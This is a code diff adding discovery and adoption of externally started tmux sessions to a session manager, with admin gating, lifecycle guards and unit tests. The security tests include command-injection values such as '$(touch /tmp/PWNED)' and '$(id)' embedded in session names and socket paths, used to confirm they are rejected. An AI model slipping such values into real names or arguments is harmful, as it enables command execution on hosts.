same row builder, inside the phone overview.
Colour vocabulary is deliberately the session-tab one: a mode dot on
the left, name over a dim meta line, action pinned right. A block that
invented its own language here would read as a different product.
═══════════════════════════════════════════════════════════════ */
.welcome-foreign {
width: 100%;
margin-top: 0.75rem;
}
.foreign-sessions {
display: flex;
flex-direction: column;
gap: 0.4rem;
text-align: left;
}
/* `.foreign-sessions` is a flex container, so `[hidden]` needs re-asserting or
the module's only visibility lever does nothing (same trap as .home-sessions). */
.foreign-sessions[hidden] {
display: none;
}
.foreign-header {
display: flex;
align-items: center;
gap: 0.5rem;
}
.foreign-title {
font-size: 0.85rem;
color: var(--text-dim);
font-weight: 500;
text-align: left;
}
.foreign-count {
font-size: 0.68rem;
color: var(--text-dim);
background: rgba(255, 255, 255, 0.05);
border-radius: 999px;
padding: 0.1rem 0.45rem;
white-space: nowrap;
}
.foreign-scan-toggle {
margin-left: auto;
font-size: 0.68rem;
color: var(--text-dim);
background: transparent;
border: 1px solid var(--border);
border-radius: 999px;
padding: 0.12rem 0.5rem;
cursor: pointer;
}
.foreign-scan-toggle[aria-pressed='true'] {
color: var(--session-blue, #4a9eff);
border-color: var(--session-blue, #4a9eff);
}
.foreign-list {
display: flex;
flex-direction: column;
gap: 0.3rem;
max-height: min(40vh, 320px);
overflow-y: auto;
}
.foreign-row {
display: flex;
align-items: center;
gap: 0.55rem;
padding: 0.4rem 0.55rem;
border: 1px solid var(--border);
border-radius: 6px;
background: rgba(255, 255, 255, 0.02);
min-width: 0;
}
.foreign-row--open {
opacity: 0.62;
}
.foreign-dot {
width: 8px;
height: 8px;
border-radius: 50%;
flex: 0 0 auto;
background: var(--text-muted, #888);
}
.foreign-dot--claude {
background: #d97757;
}
.foreign-dot--codex {
background: #9b8cff;
}
.foreign-dot--shell {
background: #4caf7d;
}
.foreign-row-body {
display: flex;
flex-direction: column;
min-width: 0;
flex: 1 1 auto;
}
.foreign-row-name {
font-size: 0.82rem;
color: var(--text);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.foreign-row-sub {
font-size: 0.68rem;
color: var(--text-dim);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.foreign-open-btn {
flex: 0 0 auto;
font-size: 0.7rem;
padding: 0.22rem 0.6rem;
border-radius: 5px;
border: 1px solid var(--border);
background: rgba(255, 255, 255, 0.04);
color: var(--text);
cursor: pointer;
}
.foreign-open-btn:hover:not(:disabled) {
border-color: var(--session-blue, #4a9eff);
color: var(--session-blue, #4a9eff);
}
.foreign-open-btn:disabled {
opacity: 0.55;
cursor: default;
}
.foreign-empty {
font-size: 0.72rem;
color: var(--text-dim);
padding: 0.3rem 0.1rem;
}
.foreign-notes {
display: flex;
flex-direction: column;
gap: 0.15rem;
}
.foreign-note {
font-size: 0.66rem;
color: var(--text-dim);
opacity: 0.85;
line-height: 1.35;
}
+8
View File
@@ -1985,6 +1985,9 @@ Object.assign(CodemanApp.prototype, {
if (overlay) overlay.classList.remove('visible');
this.hideHomeSessions?.();
this.showMobileOverview();
// The phone overview hosts the same list in its own container.
this.wireForeignSessions?.();
this.startForeignPolling?.();
this._updateCjkInputState?.();
return;
}
@@ -1999,6 +2002,10 @@ Object.assign(CodemanApp.prototype, {
// Open tabs down the left gutter. Self-gating: a window too narrow to hold
// the column without overlapping the content leaves it hidden.
this.showHomeSessions?.();
// Sessions a human opened outside Codeman. Polls only while this screen is
// up (stopped in hideWelcome) — see foreign-sessions.js.
this.wireForeignSessions?.();
this.startForeignPolling?.();
}
// Home screen has no input target — hide the CJK textarea (activeSessionId
// is null by the time we get here). Guarded: defined on the app object.
@@ -2008,6 +2015,7 @@ Object.assign(CodemanApp.prototype, {
hideWelcome() {
this.hideMobileOverview?.();
this.hideHomeSessions?.();
this.stopForeignPolling?.();
const overlay = document.getElementById('welcomeOverlay');
if (overlay) {
overlay.classList.remove('visible');
+62 -1
View File
@@ -1,6 +1,13 @@
/**
* @fileoverview Mux (tmux) session management routes.
* Provides mux session listing, killing, reconciliation, and stats control.
* Provides mux session listing, killing, reconciliation, stats control, and
* discovery of FOREIGN tmux sessions (ones a human started outside Codeman).
*
* Discovery lives here rather than beside the adopt endpoint on purpose: like
* every other route in this file it exposes cross-user process state — other
* people's session names, commands and working directories — so it inherits the
* admin gate this file already applies. Adoption is a session CREATE and stays in
* `session-routes.ts`, where the owner, capacity and case-space gates live.
*/
import { FastifyInstance } from 'fastify';
@@ -8,6 +15,8 @@ import type { InfraPort } from '../ports/index.js';
import { STATS_COLLECTION_INTERVAL_MS } from '../../config/server-timing.js';
import { requireAdmin } from '../route-helpers.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import { discoverForeignSessions, readAllDockerCases, readAllRemoteHosts } from '../../foreign-tmux-discovery.js';
import { FOREIGN_POLL_INTERVAL_MS } from '../../config/foreign-tmux.js';
export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
app.get('/api/mux-sessions', async (req, reply) => {
@@ -36,6 +45,58 @@ export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
return result;
});
/**
* Foreign tmux sessions available for adoption.
*
* LOCAL results are always included and are TTL-cached, because the home screen
* polls this endpoint while it is open. DOCKER and REMOTE are opt-in per
* request (`?docker=1`, `?remote=1`): each costs one `docker exec` or one ssh
* per target, and having the home page fan those out on every load is the one
* cost this design refuses to pay.
*
* `adoptedBy` is filled from the live mux sessions, so a target Codeman already
* wraps renders as "open" rather than offering a second wrapper.
*/
app.get('/api/mux/foreign', async (req, reply) => {
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
const q = (req.query ?? {}) as Record<string, string | undefined>;
const wantDocker = q.docker === '1' || q.docker === 'true';
const wantRemote = q.remote === '1' || q.remote === 'true';
// Read the registries either way: `canScanWide` tells the browser whether the
// expensive scan has anywhere to go. Without it the UI hides an empty block —
// and with it the toggle that is the ONLY way to populate that block, which on
// a host with containers but no local tmux sessions made the feature invisible.
const dockerCases = await readAllDockerCases();
const remoteHosts = await readAllRemoteHosts();
const result = await discoverForeignSessions({
local: true,
force: q.force === '1',
dockerCases: wantDocker ? dockerCases : undefined,
remoteHosts: wantRemote ? remoteHosts : undefined,
});
// Match on the (socket, session) pair rather than on our opaque candidate id:
// the id encodes a host key that a restored wrapper does not carry, while the
// pair is exactly what the wrapper stores and what it re-attaches to.
const wrapped = new Map<string, string>();
for (const m of ctx.mux.getSessions()) {
if (m.adopt) wrapped.set(`${m.adopt.socketPath}\u0000${m.adopt.targetSession}`, m.sessionId);
}
return {
sessions: result.sessions.map((f) => ({
...f,
adoptedBy: wrapped.get(`${f.socketPath}\u0000${f.sessionName}`),
})),
scannedAt: result.scannedAt,
notes: result.notes,
pollIntervalMs: FOREIGN_POLL_INTERVAL_MS,
canScanWide: dockerCases.length > 0 || remoteHosts.length > 0,
};
});
app.post('/api/mux-sessions/stats/start', async (req, reply) => {
// Multi-user: process-wide stats collection toggle → admin-only.
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
+11
View File
@@ -53,6 +53,17 @@ export function registerRalphRoutes(
};
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'The Ralph tracker is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Ralph tracker is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(
+33
View File
@@ -98,6 +98,17 @@ export function registerRespawnRoutes(
}
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -241,6 +252,17 @@ export function registerRespawnRoutes(
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
}
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
@@ -310,6 +332,17 @@ export function registerRespawnRoutes(
const body = reResult.data as { config?: Partial<RespawnConfig>; durationMinutes?: number };
const session = findSessionOrFail(ctx, id, req);
// ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
// session can be `mode: 'claude'` and still be a process we never launched.
// Everything below drives the pane on the assumption Codeman owns what runs
// in it — sending `/clear`, killing and relaunching the agent — which against
// someone else's live session is destructive, not merely unsupported.
if (session.isAdopted) {
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'Respawn is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
);
}
// Respawn is not supported for external-CLI sessions (opencode/codex)
if (isExternalCliMode(session.mode)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
+153
View File
@@ -29,6 +29,16 @@ import {
type DeepSeekConfig,
type OmpConfig,
} from '../../types.js';
import { AdoptForeignSessionSchema } from '../schemas.js';
import {
discoverForeignSessions,
invalidateForeignCache,
readAllDockerCases,
readAllRemoteHosts,
} from '../../foreign-tmux-discovery.js';
import { foreignViewSessionName } from '../../foreign-tmux.js';
import { requireAdmin } from '../route-helpers.js';
import type { SessionAdopt } from '../../types/session.js';
import { Session, isAltScreenStripMode, isMuxAltScreenOnlyStripMode } from '../../session.js';
import { SseEvent } from '../sse-events.js';
import {
@@ -1148,6 +1158,149 @@ export function registerSessionRoutes(
return { session: lightState };
});
// ========== Adopt a foreign tmux session ==========
/**
* Wrap a tmux session a HUMAN started (local, in a container, or over ssh) in a
* Codeman session, so it appears as a tab and can be driven from the browser.
*
* Four things make this safe, and each is load-bearing:
*
* 1. **The body carries only an opaque id.** The socket path, session name and
* host are re-resolved by re-running discovery here. A browser therefore
* never supplies a fragment of the command we are about to run, which is the
* same rule that keeps docker-adopt and remote-attach injection-free.
* 2. **The candidate must still exist.** Discovery is re-run rather than cached,
* so a session that died between the listing and the click fails with a 404
* instead of producing a wrapper attached to nothing.
* 3. **One wrapper per target.** Two wrappers on one foreign session would each
* create their own grouped view and each think they own the tab; the guard
* is here rather than in the button's in-flight lock, which only stops a
* double-click on one device.
* 4. **Admin-only under multi-user.** Discovery already is (it exposes other
* users' processes), and adopting someone's `shell` is arbitrary execution
* as the server account — which is exactly what the `can-bypass-permissions`
* grant gates elsewhere. The admin gate subsumes it, so there is deliberately
* no second grant check here.
*/
app.post('/api/sessions/adopt', async (req, reply) => {
if (isMultiUserMode() && !requireAdmin(req, reply)) return;
const owner = ownerFor(req);
const capMsg = sessionCapacityMessage(ctx.sessions, owner);
if (capMsg) return createErrorResponse(ApiErrorCode.SESSION_BUSY, capMsg);
const body = parseBody(AdoptForeignSessionSchema, req.body, 'Invalid request body');
// Re-resolve rather than trust: point 1 and 2 above.
const found = await discoverForeignSessions({
local: true,
force: true,
dockerCases: body.docker ? await readAllDockerCases() : undefined,
remoteHosts: body.remote ? await readAllRemoteHosts() : undefined,
});
const target = found.sessions.find((f) => f.id === body.id);
if (!target) {
// ⚠️ "Not in the re-resolve" has two very different causes and they must not
// be reported as one. The session really being gone is the ordinary case;
// the OTHER case is a location we could not reach this time, which on a
// flaky link makes a perfectly live remote session read as deleted. Measured
// against a real VM whose ssh path dropped ~10% of connections: clicking
// Open failed with "no longer there" while the session was sitting right
// there. Discovery already knows which it was — it wrote a note — so say so.
const reach = found.notes.filter((n) => !/skipped/.test(n));
return createErrorResponse(
ApiErrorCode.NOT_FOUND,
reach.length
? `Could not reach it just now (${reach.join('; ')}). It may still be running — try again.`
: 'That tmux session is no longer there. Refresh the list and try again.'
);
}
// Point 3 — one wrapper per (socket, session).
const existing = ctx.mux
.getSessions()
.find((m) => m.adopt?.socketPath === target.socketPath && m.adopt?.targetSession === target.sessionName);
if (existing) {
const live = ctx.sessions.get(existing.sessionId);
if (live) return { session: ctx.getSessionStateWithRespawn(live), alreadyAdopted: true };
}
// Connection facts are copied onto the session rather than referenced by id:
// a wrapper restored after a server restart must be able to rebuild its
// command even if the host registry was edited in the meantime.
const adopt: SessionAdopt = {
location: target.location,
socketPath: target.socketPath,
targetSession: target.sessionName,
viewSession: '',
paneCurrentPath: target.workingDir,
};
if (target.location === 'docker') {
const hosts = await readDockerHosts(CODEMAN_CONFIG_DIR);
const host = hosts.find((h) => h.id === target.hostId);
if (!target.containerName) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Container name missing for a docker candidate');
}
adopt.docker = {
hostId: target.hostId ?? '',
label: target.hostLabel ?? target.containerName,
engine: host?.engine ?? 'docker',
containerName: target.containerName,
daemonHost: host?.daemonHost,
context: host?.context,
};
} else if (target.location === 'remote') {
const host = (await readRemoteHosts(CODEMAN_CONFIG_DIR)).find((h) => h.id === target.hostId);
if (!host) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Remote host not found');
adopt.remote = {
hostId: host.id,
label: host.label,
host: host.host,
username: host.username,
port: host.port,
identityFile: host.identityFile,
socksProxy: host.socksProxy,
jumpHost: host.jumpHost,
extraSshOptions: host.extraSshOptions,
};
}
const adoptHistoryConfig = await ctx.getTerminalHistoryConfig();
// ⚠️ `workingDir` for an adopted session is the FOREIGN pane's cwd, which may
// not exist on this host (a container path, a remote path). It is recorded as
// an observation for display; the wrapper pane is never `cd`'d into it, and
// the case-space confinement that guards a real workingDir does not apply
// because nothing is created there.
const session = new Session({
workingDir: target.workingDir || process.cwd(),
mode: target.mode,
name: body.name || target.sessionName,
mux: ctx.mux,
useMux: true,
tmuxHistoryLimit: adoptHistoryConfig.tmuxHistoryLimit,
adopt,
owner,
parentSessionId: resolveParentSessionId(ctx, req, body.parentSessionId, owner),
});
// The view session name is derived from the Codeman session id, so it can only
// be filled once the Session exists.
adopt.viewSession = foreignViewSessionName(session.id);
await ctx.addSession(session);
ctx.store.incrementSessionsCreated();
ctx.persistSessionState(session);
await ctx.setupSessionListeners(session);
getLifecycleLog().log({ event: 'created', sessionId: session.id, name: session.name });
invalidateForeignCache();
const lightState = ctx.getSessionStateWithRespawn(session);
ctx.broadcast(SseEvent.SessionCreated, lightState);
return { session: lightState, adopted: true };
});
// ========== Rename Session ==========
app.put('/api/sessions/:id/name', async (req) => {
+22
View File
@@ -1810,3 +1810,25 @@ export const WebviewUpdateSchema = WebviewBaseSchema.partial();
/** POST /api/webviews/probe: reachability + framing check for the editor's Test button. */
export const WebviewProbeSchema = z.object({ url: webviewUrlSchema });
/**
* Adopt a FOREIGN tmux session (one a human started outside Codeman).
*
* ⚠️ The body carries ONLY the opaque candidate id from `GET /api/mux/foreign`.
* The socket path, session name and host are re-resolved server-side by re-running
* discovery, so a browser can never hand the launch chain a path or a session name
* to interpolate. That is the same discipline that keeps the docker-adopt and
* remote-attach paths free of caller-supplied command fragments.
*/
export const AdoptForeignSessionSchema = z
.object({
id: z.string().min(1).max(64),
/** Optional tab name; defaults to the foreign session's own name. */
name: z.string().max(128).optional(),
/** Include docker locations in the re-resolve (must match the listing call). */
docker: z.boolean().optional(),
/** Include remote locations in the re-resolve. */
remote: z.boolean().optional(),
parentSessionId: z.string().max(64).optional(),
})
.strict();
+18 -3
View File
@@ -1558,13 +1558,20 @@ export class WebServer extends EventEmitter {
this.runSummaryTrackers.set(session.id, summaryTracker);
summaryTracker.recordSessionStarted(session.mode, session.workingDir);
// Set working directory for Ralph tracker to auto-load @fix_plan.md (not supported for external CLIs)
if (!isExternalCliMode(session.mode)) {
// Set working directory for Ralph tracker to auto-load @fix_plan.md (not supported for external CLIs).
// ⚠️ Also skipped for an ADOPTED session, and for two reasons: Ralph is refused
// for one anyway, and its `workingDir` is the FOREIGN pane's cwd — a path that
// need not exist on this host at all. Watching it logged a caught ENOENT on
// every in-container adoption (`watch '/workspace/pythonserver'`), which is
// noise pointing at a real category error rather than a real failure.
if (!isExternalCliMode(session.mode) && !session.isAdopted) {
session.ralphTracker.setWorkingDir(session.workingDir);
}
// Start watching for new images in this session's working directory (if enabled globally and per-session)
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled) {
if ((await this.isImageWatcherEnabled()) && session.imageWatcherEnabled && !session.isAdopted) {
// Same reason as the Ralph watcher above: an adopted session's workingDir is
// an observation about ANOTHER host's (or container's) filesystem.
imageWatcher.watchSession(session.id, session.workingDir);
}
@@ -2809,6 +2816,14 @@ export class WebServer extends EventEmitter {
// MuxSession.docker; state.json carries SessionState.docker), so recovery
// rebuilds the `docker exec` launch instead of a broken local command.
docker: muxSession.docker ?? savedState?.docker,
// Adoption metadata round-trips for the same reason remote/docker do,
// and one more: it is the ONLY thing that marks this session as
// wrapping a process Codeman never launched. Dropping it on recovery
// silently re-enabled respawn, Ralph and hook-backed waits against
// someone else's live tmux session after every server restart —
// measured, not hypothetical. The mux record is preferred because it
// is what `killSession`'s detach-not-kill guard already reads.
adopt: muxSession.adopt ?? savedState?.adopt,
owner: recoveredOwner,
// Tab lineage survives a restart. It is only decoration, so a parent
// that did NOT come back is harmless: the frontend draws an edge only
+17
View File
@@ -189,6 +189,18 @@ export interface HookCapabilityOptions {
* timeout on every turn.
*/
deepSeekBridgeUnreachable?: boolean;
/**
* True when the session is a WRAPPER around a tmux session a human started
* outside Codeman.
*
* This one overrides the mode entirely, and it has to: an adopted session can
* be `mode: 'claude'` and still have no hooks, because hooks are installed into
* a WORKSPACE at session-create time (`applyWorkspaceHooks`) and we never
* created this one. Answering from the mode there would promise `stop` and
* `blocked` for a process that can never post either — the exact
* infinite-wait-dressed-as-a-timeout this predicate exists to prevent.
*/
adopted?: boolean;
}
/**
@@ -223,6 +235,9 @@ export interface HookCapabilityOptions {
* function only about hook SIGNALS.
*/
export function hooksAvailableForMode(mode: SessionMode, options: HookCapabilityOptions = {}): boolean {
// Checked BEFORE the mode: adoption is about who launched the process, and no
// mode can vouch for a workspace Codeman never touched. See `adopted` above.
if (options.adopted) return false;
if (mode === 'claude') return true;
// `deepseek` earns this the same way `claude` does — by emitting DEFINITIVE
// signals rather than having them inferred. The DeepSeek Harness terminal
@@ -250,10 +265,12 @@ export function sessionHookOptions(session: {
deepSeekStatusReporting?: boolean;
docker?: unknown;
remote?: unknown;
adopt?: unknown;
}): HookCapabilityOptions {
return {
deepSeekStatusReporting: session.deepSeekStatusReporting,
deepSeekBridgeUnreachable: Boolean(session.docker || session.remote),
adopted: Boolean(session.adopt),
};
}
+9 -2
View File
@@ -212,8 +212,15 @@ describe('adopted container: the host is not required to have the CLI', () => {
expect(unguarded).toHaveLength(0);
});
it('derives the flag from the docker metadata the session already carries', () => {
expect(src).toContain('const cliRunsInContainer = !!docker;');
it('derives the flag from the location metadata the session already carries', () => {
// Adoption joined the condition for the same reason docker is in it: an
// adopted session's CLI was started by a human in a process Codeman never
// spawned, so the host binary is irrelevant there too — and demanding it
// would reject adopting a claude that lives in a container, on an ssh host,
// or simply outside the server process's PATH (the systemd/launchd case).
// What the assertion still pins is that the flag comes from the session's
// OWN metadata rather than from anything ambient.
expect(src).toContain('const cliRunsInContainer = !!docker || !!adopt;');
});
});
+314
View File
@@ -0,0 +1,314 @@
/**
* Foreign tmux adoption — the pure core.
*
* These pin the properties that were established by MEASUREMENT against a real
* tmux (3.3a) while the feature was built, and that a plausible-looking refactor
* would quietly undo. Each one has a comment naming what actually went wrong.
*/
import { describe, it, expect } from 'vitest';
import {
buildForeignProbeScript,
parseForeignProbeOutput,
classifyForeignPaneMode,
isCodemanOwnedPane,
foreignSessionId,
foreignViewSessionName,
isAdoptableSessionName,
isAdoptableSocketPath,
buildForeignAttachCommand,
buildForeignDockerAttachCommand,
buildForeignRemoteAttachCommand,
buildForeignTmuxInvocation,
} from '../src/foreign-tmux.js';
// A probe transcript in exactly the shape a real run produces. The pane rows use
// the LITERAL backslash-t that tmux's `-F` emits (verified on next-3.7 and 3.3a),
// while the socket line is space-separated because `sh`'s builtin `echo` expands
// a backslash-t to a real TAB — two different meanings for one escape, two lines
// apart, which is why the socket marker carries no separator at all.
const PROBE = [
'CMFS /tmp/tmux-0/default',
'CMFP\\t/tmp/tmux-0/default\\t631\\t0\\t1\\t1788092494\\t1\\t%0\\tclaude\\twork\\t/srv/app',
'CMFP\\t/tmp/tmux-0/default\\t900\\t0\\t1\\t1788092500\\t0\\t%1\\tbash\\tscratch\\t/home/me',
'CMFP\\t/tmp/tmux-0/default\\t950\\t0\\t2\\t1788092600\\t0\\t%2\\tnode\\tcodex-work\\t/srv/app',
'CMFQ',
' 631 630 -bash',
' 4056 631 claude --dangerously-skip-permissions',
' 4104 4056 /usr/local/bin/ortg --repo /ortg mcp',
' 900 630 -bash',
' 950 630 node /opt/homebrew/bin/codex',
].join('\n');
describe('buildForeignProbeScript', () => {
it('contains no single quote — it is wrapped in one to cross ssh and docker exec', () => {
// The script is embedded as `ssh host '<script>'` and `docker exec c sh -lc
// '<script>'`. One single quote inside ends the wrapper early and the rest is
// re-tokenized by the remote shell.
expect(buildForeignProbeScript()).not.toContain("'");
});
it('does not disable globbing — the socket sweep IS a glob', () => {
// A `set -f` here turned the whole loop into one literal non-match, and the
// probe reported zero sessions on a machine that had three.
expect(buildForeignProbeScript()).not.toMatch(/\bset -f\b/);
});
it('keeps the shell variables unexpanded for the INNER shell', () => {
// Running this through anything that adds an outer shell (execSync spawns
// `sh -c`) expands `$TMUX_TMPDIR`/`$U` too early. Callers must use an argv
// array locally; the script's job is only to still contain them.
const s = buildForeignProbeScript();
expect(s).toContain('${TMUX_TMPDIR:-/tmp}');
expect(s).toContain('$TD/tmux-$U/*');
});
});
describe('parseForeignProbeOutput', () => {
it('parses pane rows, the socket list and the process snapshot', () => {
const out = parseForeignProbeOutput(PROBE);
expect(out.sockets).toEqual(['/tmp/tmux-0/default']);
expect(out.panes).toHaveLength(3);
expect(out.panes[0]).toMatchObject({
socketPath: '/tmp/tmux-0/default',
sessionName: 'work',
panePid: 631,
paneCurrentCommand: 'claude',
paneCurrentPath: '/srv/app',
sessionAttached: true,
windows: 1,
});
expect(out.argvByPid.get(4056)).toBe('claude --dangerously-skip-permissions');
expect(out.byParent.get(631)).toEqual([4056]);
});
it('never throws on garbage and simply skips unusable rows', () => {
const out = parseForeignProbeOutput('nonsense\nCMFP\\ttoo\\tfew\nCMFQ\nnot a proc row\n');
expect(out.panes).toHaveLength(0);
expect(out.argvByPid.size).toBe(0);
});
it('tolerates a real TAB, in case a tmux build expands the escape', () => {
const withTabs = PROBE.split('\n')
.map((l) => (l.startsWith('CMFP') ? l.replace(/\\t/g, '\t') : l))
.join('\n');
expect(parseForeignProbeOutput(withTabs).panes).toHaveLength(3);
});
it('keeps the pane path even when the SESSION NAME contains a separator', () => {
// The two free-form fields sit last for exactly this: the path is taken from
// the END and the name is whatever lies between the fixed prefix and it, so a
// separator inside a user-chosen name cannot shift the path out of place.
const row = 'CMFP\\t/s\\t1\\t0\\t1\\t100\\t0\\t%0\\tbash\\tmy\\tname\\t/srv/x';
const out = parseForeignProbeOutput(`${row}\nCMFQ\n`);
expect(out.panes[0].paneCurrentPath).toBe('/srv/x');
expect(out.panes[0].sessionName).toBe('my\tname');
});
});
describe('classifyForeignPaneMode', () => {
const probe = parseForeignProbeOutput(PROBE);
it('finds claude through the process tree, not the pane command', () => {
// `#{pane_current_command}` is `node` for BOTH claude and codex, and the
// pane's own pid is the SHELL. Only the descendant walk can tell them apart.
const pane = probe.panes.find((p) => p.sessionName === 'work')!;
expect(classifyForeignPaneMode(pane, probe).mode).toBe('claude');
});
it('finds codex the same way', () => {
const pane = probe.panes.find((p) => p.sessionName === 'codex-work')!;
expect(classifyForeignPaneMode(pane, probe).mode).toBe('codex');
});
it('calls a plain shell a shell — the case this feature exists for', () => {
const pane = probe.panes.find((p) => p.sessionName === 'scratch')!;
const c = classifyForeignPaneMode(pane, probe);
expect(c.mode).toBe('shell');
expect(c.command).toBe('-bash');
});
it("falls back to tmux's own answer when there is no process snapshot", () => {
// A host whose `ps` refused both forms still gets a usable classification:
// `pane_current_command` is the FOREGROUND process, so it names the agent
// even though the pane pid names the shell.
const empty = { byParent: new Map(), argvByPid: new Map() };
expect(classifyForeignPaneMode({ panePid: 1, paneCurrentCommand: 'claude' }, empty).mode).toBe('claude');
expect(classifyForeignPaneMode({ panePid: 1, paneCurrentCommand: 'zsh' }, empty).mode).toBe('shell');
});
});
describe('isCodemanOwnedPane', () => {
const pane = (socketPath: string, sessionName: string) => ({ socketPath, sessionName });
it("excludes this instance's own socket", () => {
expect(isCodemanOwnedPane(pane('/tmp/tmux-0/codeman-beta', 'x'), 'codeman-beta')).toBe(true);
});
it('excludes ANOTHER Codeman instance too', () => {
// Otherwise a beta would offer to adopt prod's sessions, attaching a second
// PTY to a live pane prod is already driving.
expect(isCodemanOwnedPane(pane('/tmp/tmux-0/codeman', 'x'), 'codeman-beta')).toBe(true);
expect(isCodemanOwnedPane(pane('/tmp/tmux-0/codeman-remote', 'x'), 'codeman-beta')).toBe(true);
});
it('excludes Codeman-minted session names on a foreign socket', () => {
// Our own grouped view sessions live on the foreign server; without this a
// second scan would offer to adopt our own view.
expect(isCodemanOwnedPane(pane('/tmp/tmux-0/default', 'codeman-view-abc12345'), 'codeman')).toBe(true);
expect(isCodemanOwnedPane(pane('/tmp/tmux-0/default', 'claudeman-abc'), 'codeman')).toBe(true);
});
it('admits an ordinary hand-made session', () => {
expect(isCodemanOwnedPane(pane('/tmp/tmux-0/default', 'work'), 'codeman')).toBe(false);
});
});
describe('adoptability gate (security)', () => {
it('refuses a name carrying command substitution', () => {
// The local launch chain ends at `bash -c ${JSON.stringify(cmd)}`, and the
// OUTER shell expands `$(...)` and backticks inside its double quotes before
// bash ever sees the inner single quotes. Measured: a launchCmd of
// `: 'x$(touch A)`touch B`'` created BOTH files. A foreign session name is
// chosen by someone else, so it must never reach that string.
expect(isAdoptableSessionName('work;$(touch /tmp/PWNED)')).toBe(false);
expect(isAdoptableSessionName('work`touch /tmp/PWNED`')).toBe(false);
expect(isAdoptableSessionName('work$HOME')).toBe(false);
expect(isAdoptableSessionName('a\\b')).toBe(false);
expect(isAdoptableSessionName('a"b')).toBe(false);
expect(isAdoptableSessionName("a'b")).toBe(false);
expect(isAdoptableSessionName('a\nb')).toBe(false);
expect(isAdoptableSessionName('')).toBe(false);
});
it('still admits the names people actually use', () => {
// A refusal here is a session the user cannot open at all, so the allowlist
// has to cover real life: spaces, CJK, punctuation.
for (const n of ['work', 'my-project', 'feat/login', 'weird name', 'zh-会话', 'v1.2_build', 'a+b@c']) {
expect(isAdoptableSessionName(n)).toBe(true);
}
});
it('holds the socket path to the same rule, plus absoluteness', () => {
// A socket is `tmux -L <name>` under a user-controlled directory, so its
// path is attacker-influenceable in exactly the same way.
expect(isAdoptableSocketPath('/tmp/tmux-0/default')).toBe(true);
expect(isAdoptableSocketPath('/tmp/tmux-0/$(id)')).toBe(false);
expect(isAdoptableSocketPath('relative/path')).toBe(false);
expect(isAdoptableSocketPath('/tmp/../etc/x')).toBe(false);
});
});
describe('identity', () => {
it('is stable across scans and distinct per target', () => {
const a = foreignSessionId('local', 'local', '/tmp/tmux-0/default', 'work');
expect(foreignSessionId('local', 'local', '/tmp/tmux-0/default', 'work')).toBe(a);
expect(foreignSessionId('local', 'local', '/tmp/tmux-0/default', 'other')).not.toBe(a);
expect(foreignSessionId('remote', 'h1', '/tmp/tmux-0/default', 'work')).not.toBe(a);
});
it('names the view session after the Codeman session', () => {
expect(foreignViewSessionName('a10674f9-abce-4551')).toBe('codeman-view-a10674f9');
});
});
describe('attach command builders', () => {
const target = { socketPath: '/tmp/tmux-0/default', targetSession: 'work', viewSession: 'codeman-view-abc12345' };
it('creates the view session ATTACHED, never with -d', () => {
// tmux's `server_check_unattached()` runs every server loop, so a DETACHED
// session carrying `destroy-unattached on` is destroyed almost immediately.
const cmd = buildForeignTmuxInvocation(target);
expect(cmd).toContain('new-session -t');
expect(cmd).not.toMatch(/new-session\s+-d/);
});
it('sets destroy-unattached so the view dies with our pane', () => {
expect(buildForeignTmuxInvocation(target)).toContain('destroy-unattached on');
});
it('never sets window-size on the shared window', () => {
// Measured: `window-size largest` is the only setting that protects an
// actively-used session's size, but it is a WINDOW option on a SHARED window
// and SURVIVES our detach — it would permanently rewrite the owner's config.
expect(buildForeignTmuxInvocation(target)).not.toContain('window-size');
});
it('falls back to a READ-ONLY attach, never a writable bare one', () => {
// A writable bare attach is precisely the thing that resizes the owner's
// terminal, so the degraded path must be the harmless one.
const cmd = buildForeignTmuxInvocation(target);
expect(cmd).toMatch(/\|\|\s*exec tmux -S .* attach-session -r -t/);
});
